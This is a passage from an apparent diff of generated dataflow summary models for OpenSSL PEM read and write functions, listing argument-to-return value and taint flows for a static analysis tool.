"df-generated"] + - ["", "", True, "PEM_read_bio_RSAPublicKey", "(BIO *,RSA **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_RSAPublicKey", "(BIO *,RSA **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_RSAPublicKey", "(BIO *,RSA **,pem_password_cb *,void *)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_RSAPublicKey", "(BIO *,RSA **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_RSAPublicKey", "(BIO *,RSA **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_RSAPublicKey", "(BIO *,RSA **,pem_password_cb *,void *)", "", "Argument[*3]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_RSAPublicKey", "(BIO *,RSA **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_RSAPublicKey", "(BIO *,RSA **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_RSAPublicKey", "(BIO *,RSA **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_RSAPublicKey", "(BIO *,RSA **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_RSAPublicKey", "(BIO *,RSA **,pem_password_cb *,void *)", "", "Argument[3]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_bio_RSA_PUBKEY", "(BIO *,RSA **,pem_password_cb *,void *)", "", "Argument[*3]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_RSA_PUBKEY", "(BIO *,RSA **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_bio_RSA_PUBKEY", "(BIO *,RSA **,pem_password_cb *,void *)", "", "Argument[3]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_bio_SSL_SESSION", "(BIO *,SSL_SESSION **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_SSL_SESSION", "(BIO *,SSL_SESSION **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "PEM_read_bio_SSL_SESSION", "(BIO *,SSL_SESSION **,pem_password_cb *,void *)", "", "Argument[*3]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_SSL_SESSION", "(BIO *,SSL_SESSION **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_bio_SSL_SESSION", "(BIO *,SSL_SESSION **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_bio_SSL_SESSION", "(BIO *,SSL_SESSION **,pem_password_cb *,void *)", "", "Argument[3]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_bio_X509", "(BIO *,X509 **,pem_password_cb *,void *)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509", "(BIO *,X509 **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509", "(BIO *,X509 **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509", "(BIO *,X509 **,pem_password_cb *,void *)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509", "(BIO *,X509 **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509", "(BIO *,X509 **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509", "(BIO *,X509 **,pem_password_cb *,void *)", "", "Argument[*3]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509", "(BIO *,X509 **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509", "(BIO *,X509 **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509", "(BIO *,X509 **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509", "(BIO *,X509 **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509", "(BIO *,X509 **,pem_password_cb *,void *)", "", "Argument[3]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_bio_X509_ACERT", "(BIO *,X509_ACERT **,pem_password_cb *,void *)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_ACERT", "(BIO *,X509_ACERT **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_ACERT", "(BIO *,X509_ACERT **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_ACERT", "(BIO *,X509_ACERT **,pem_password_cb *,void *)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_ACERT", "(BIO *,X509_ACERT **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_ACERT", "(BIO *,X509_ACERT **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_ACERT", "(BIO *,X509_ACERT **,pem_password_cb *,void *)", "", "Argument[*3]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_ACERT", "(BIO *,X509_ACERT **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_ACERT", "(BIO *,X509_ACERT **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_ACERT", "(BIO *,X509_ACERT **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_ACERT", "(BIO *,X509_ACERT **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_ACERT", "(BIO *,X509_ACERT **,pem_password_cb *,void *)", "", "Argument[3]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_bio_X509_AUX", "(BIO *,X509 **,pem_password_cb *,void *)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_AUX", "(BIO *,X509 **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_AUX", "(BIO *,X509 **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_AUX", "(BIO *,X509 **,pem_password_cb *,void *)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_AUX", "(BIO *,X509 **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_AUX", "(BIO *,X509 **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_AUX", "(BIO *,X509 **,pem_password_cb *,void *)", "", "Argument[*3]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_AUX", "(BIO *,X509 **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_AUX", "(BIO *,X509 **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_AUX", "(BIO *,X509 **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_AUX", "(BIO *,X509 **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_AUX", "(BIO *,X509 **,pem_password_cb *,void *)", "", "Argument[3]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_bio_X509_CRL", "(BIO *,X509_CRL **,pem_password_cb *,void *)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_CRL", "(BIO *,X509_CRL **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_CRL", "(BIO *,X509_CRL **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_CRL", "(BIO *,X509_CRL **,pem_password_cb *,void *)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_CRL", "(BIO *,X509_CRL **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_CRL", "(BIO *,X509_CRL **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_CRL", "(BIO *,X509_CRL **,pem_password_cb *,void *)", "", "Argument[*3]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_CRL", "(BIO *,X509_CRL **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_CRL", "(BIO *,X509_CRL **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_CRL", "(BIO *,X509_CRL **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_CRL", "(BIO *,X509_CRL **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_CRL", "(BIO *,X509_CRL **,pem_password_cb *,void *)", "", "Argument[3]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_bio_X509_PUBKEY", "(BIO *,X509_PUBKEY **,pem_password_cb *,void *)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_PUBKEY", "(BIO *,X509_PUBKEY **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_PUBKEY", "(BIO *,X509_PUBKEY **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_PUBKEY", "(BIO *,X509_PUBKEY **,pem_password_cb *,void *)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_PUBKEY", "(BIO *,X509_PUBKEY **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_PUBKEY", "(BIO *,X509_PUBKEY **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_PUBKEY", "(BIO *,X509_PUBKEY **,pem_password_cb *,void *)", "", "Argument[*3]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_PUBKEY", "(BIO *,X509_PUBKEY **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_PUBKEY", "(BIO *,X509_PUBKEY **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_PUBKEY", "(BIO *,X509_PUBKEY **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_PUBKEY", "(BIO *,X509_PUBKEY **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_PUBKEY", "(BIO *,X509_PUBKEY **,pem_password_cb *,void *)", "", "Argument[3]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_bio_X509_REQ", "(BIO *,X509_REQ **,pem_password_cb *,void *)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_REQ", "(BIO *,X509_REQ **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_REQ", "(BIO *,X509_REQ **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_REQ", "(BIO *,X509_REQ **,pem_password_cb *,void *)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_REQ", "(BIO *,X509_REQ **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_REQ", "(BIO *,X509_REQ **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_REQ", "(BIO *,X509_REQ **,pem_password_cb *,void *)", "", "Argument[*3]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_REQ", "(BIO *,X509_REQ **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_REQ", "(BIO *,X509_REQ **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_REQ", "(BIO *,X509_REQ **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_REQ", "(BIO *,X509_REQ **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_REQ", "(BIO *,X509_REQ **,pem_password_cb *,void *)", "", "Argument[3]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_bio_ex", "(BIO *,char **,char **,unsigned char **,long *,unsigned int)", "", "Argument[**2]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_ex", "(BIO *,char **,char **,unsigned char **,long *,unsigned int)", "", "Argument[*2]", "Argument[**2]", "taint", "df-generated"] + - ["", "", True, "PEM_read_bio_ex", "(BIO *,char **,char **,unsigned char **,long *,unsigned int)", "", "Argument[*2]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_ex", "(BIO *,char **,char **,unsigned char **,long *,unsigned int)", "", "Argument[*3]", "Argument[**3]", "taint", "df-generated"] + - ["", "", True, "PEM_read_bio_ex", "(BIO *,char **,char **,unsigned char **,long *,unsigned int)", "", "Argument[2]", "Argument[**2]", "taint", "df-generated"] + - ["", "", True, "PEM_read_bio_ex", "(BIO *,char **,char **,unsigned char **,long *,unsigned int)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "PEM_read_bio_ex", "(BIO *,char **,char **,unsigned char **,long *,unsigned int)", "", "Argument[2]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "PEM_read_bio_ex", "(BIO *,char **,char **,unsigned char **,long *,unsigned int)", "", "Argument[3]", "Argument[**3]", "taint", "df-generated"] + - ["", "", True, "PEM_read_bio_ex", "(BIO *,char **,char **,unsigned char **,long *,unsigned int)", "", "Argument[3]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "PEM_write_CMS", "(FILE *,const CMS_ContentInfo *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_DHparams", "(FILE *,const DH *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_DHxparams", "(FILE *,const DH *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_DSAPrivateKey", "(FILE *,const DSA *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_DSAPrivateKey", "(FILE *,const DSA *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *)", "", "Argument[*6]", "Argument[**6]", "value", "dfc-generated"] + - ["", "", True, "PEM_write_DSAPrivateKey", "(FILE *,const DSA *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *)", "", "Argument[6]", "Argument[**6]", "taint", "dfc-generated"] + - ["", "", True, "PEM_write_DSA_PUBKEY", "(FILE *,const DSA *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_DSAparams", "(FILE *,const DSA *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_ECPKParameters", "(FILE *,const EC_GROUP *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_ECPrivateKey", "(FILE *,const EC_KEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_ECPrivateKey", "(FILE *,const EC_KEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *)", "", "Argument[*6]", "Argument[**6]", "value", "dfc-generated"] + - ["", "", True, "PEM_write_ECPrivateKey", "(FILE *,const EC_KEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *)", "", "Argument[6]", "Argument[**6]", "taint", "dfc-generated"] + - ["", "", True, "PEM_write_EC_PUBKEY", "(FILE *,const EC_KEY *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_NETSCAPE_CERT_SEQUENCE", "(FILE *,const NETSCAPE_CERT_SEQUENCE *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_PKCS7", "(FILE *,const PKCS7 *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_PKCS8", "(FILE *,const X509_SIG *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_PKCS8PrivateKey", "(FILE *,const EVP_PKEY *,const EVP_CIPHER *,const char *,int,pem_password_cb *,void *)", "", "Argument[*6]", "Argument[**6]", "value", "dfc-generated"] + - ["", "", True, "PEM_write_PKCS8PrivateKey", "(FILE *,const EVP_PKEY *,const EVP_CIPHER *,const char *,int,pem_password_cb *,void *)", "", "Argument[6]", "Argument[**6]", "taint", "dfc-generated"] + - ["", "", True, "PEM_write_PKCS8PrivateKey_nid", "(FILE *,const EVP_PKEY *,int,const char *,int,pem_password_cb *,void *)", "", "Argument[*6]", "Argument[**6]", "value", "dfc-generated"] + - ["", "", True, "PEM_write_PKCS8PrivateKey_nid", "(FILE *,const EVP_PKEY *,int,const char *,int,pem_password_cb *,void *)", "", "Argument[6]", "Argument[**6]", "taint", "dfc-generated"] + - ["", "", True, "PEM_write_PKCS8_PRIV_KEY_INFO", "(FILE *,const PKCS8_PRIV_KEY_INFO *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_PUBKEY", "(FILE *,const EVP_PKEY *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_PUBKEY_ex", "(FILE *,const EVP_PKEY *,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_PrivateKey", "(FILE *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_PrivateKey", "(FILE *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *)", "", "Argument[*6]", "Argument[**6]", "value", "dfc-generated"] + - ["", "", True, "PEM_write_PrivateKey", "(FILE *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *)", "", "Argument[6]", "Argument[**6]", "taint", "dfc-generated"] + - ["", "", True, "PEM_write_PrivateKey_ex", "(FILE *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_PrivateKey_ex", "(FILE *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[*6]", "Argument[**6]", "value", "dfc-generated"] + - ["", "", True, "PEM_write_PrivateKey_ex", "(FILE *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[6]", "Argument[**6]", "taint", "dfc-generated"] + - ["", "", True, "PEM_write_RSAPrivateKey", "(FILE *,const RSA *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_RSAPrivateKey", "(FILE *,const RSA *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *)", "", "Argument[*6]", "Argument[**6]", "value", "dfc-generated"] + - ["", "", True, "PEM_write_RSAPrivateKey", "(FILE *,const RSA *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *)", "", "Argument[6]", "Argument[**6]", "taint", "dfc-generated"] + - ["", "", True, "PEM_write_RSAPublicKey", "(FILE *,const RSA *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_RSA_PUBKEY", "(FILE *,const RSA *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_SSL_SESSION", "(FILE *,const SSL_SESSION *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_X509", "(FILE *,const X509 *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_X509_ACERT", "(FILE *,const X509_ACERT *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_X509_AUX", "(FILE *,const X509 *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_X509_CRL", "(FILE *,const X509_CRL *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_X509_PUBKEY", "(FILE *,const X509_PUBKEY *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_X509_REQ", "(FILE *,const X509_REQ *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_X509_REQ_NEW", "(FILE *,const X509_REQ *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_bio_ASN1_stream", "(BIO *,ASN1_VALUE *,BIO *,int,const char *,const ASN1_ITEM *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_bio_ASN1_stream", "(BIO *,ASN1_VALUE *,BIO *,int,const char *,const ASN1_ITEM *)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "PEM_write_bio_CMS", "(BIO *,const CMS_ContentInfo *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_bio_CMS_stream", "(BIO *,CMS_ContentInfo *,BIO *,int)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_bio_CMS_stream", "(BIO *,CMS_ContentInfo *,BIO *,int)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "PEM_write_bio_DHparams", "(BIO *,const DH *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_bio_DHxparams", "(BIO *,const DH *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_bio_DSAPrivateKey", "(BIO *,const DSA *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_bio_DSAPrivateKey", "(BIO *,const DSA *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *)", "", "Argument[*6]", "Argument[**6]", "value", "dfc-generated"] + - ["", "", True, "PEM_write_bio_DSAPrivateKey", "(BIO *,const DSA *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *)", "", "Argument[6]", "Argument[**6]", "taint", "dfc-generated"] + - ["", "", True, "PEM_write_bio_DSA_PUBKEY", "(BIO *,const DSA *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_bio_DSAparams", "(BIO *,const DSA *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_bio_ECPKParameters", "(BIO *,const EC_GROUP *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_bio_ECPrivateKey", "(BIO *,const EC_KEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_bio_ECPrivateKey", "(BIO *,const EC_KEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *)", "", "Argument[*6]", "Argument[**6]", "value", "dfc-generated"] + - ["", "", True, "PEM_write_bio_ECPrivateKey", "(BIO *,const EC_KEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *)", "", "Argument[6]", "Argument[**6]", "taint", "dfc-generated"] + - ["", "", True, "PEM_write_bio_EC_PUBKEY", "(BIO *,const EC_KEY *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_bio_NETSCAPE_CERT_SEQUENCE", "(BIO *,const NETSCAPE_CERT_SEQUENCE *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_bio_PKCS7", "(BIO *,const PKCS7 *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_bio_PKCS7_stream", "(BIO *,PKCS7 *,BIO *,int)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_bio_PKCS7_stream", "(BIO *,PKCS7 *,BIO *,int)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "PEM_write_bio_PKCS8", "(BIO *,const X509_SIG *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_bio_PKCS8PrivateKey", "(BIO *,const EVP_PKEY *,const EVP_CIPHER *,const char *,int,pem_password_cb *,void *)", "", "Argument[*6]", "Argument[**6]", "value", "dfc-generated"] + - ["", "", True, "PEM_write_bio_PKCS8PrivateKey", "(BIO *,const EVP_PKEY *,const EVP_CIPHER *,const char *,int,pem_password_cb *,void *)", "", "Argument[6]", "Argument[**6]", "taint", "dfc-generated"] + - ["", "", True, "PEM_write_bio_PKCS8PrivateKey_nid", "(BIO *,const EVP_PKEY *,int,const char *,int,pem_password_cb *,void *)", "", "Argument[*6]", "Argument[**6]", "value", "dfc-generated"] + - ["", "", True, "PEM_write_bio_PKCS8PrivateKey_nid", "(BIO *,const EVP_PKEY *,int,const char *,int,pem_password_cb *,void *)", "", "Argument[6]", "Argument[**6]", "taint", "dfc-generated"] + - ["", "", True, "PEM_write_bio_PKCS8_PRIV_KEY_INFO", "(BIO *,const PKCS8_PRIV_KEY_INFO *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_bio_PUBKEY", "(BIO *,const EVP_PKEY *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_bio_PUBKEY_ex", "(BIO *,const EVP_PKEY *,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_bio_Parameters", "(BIO *,const EVP_PKEY *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_bio_PrivateKey", "(BIO 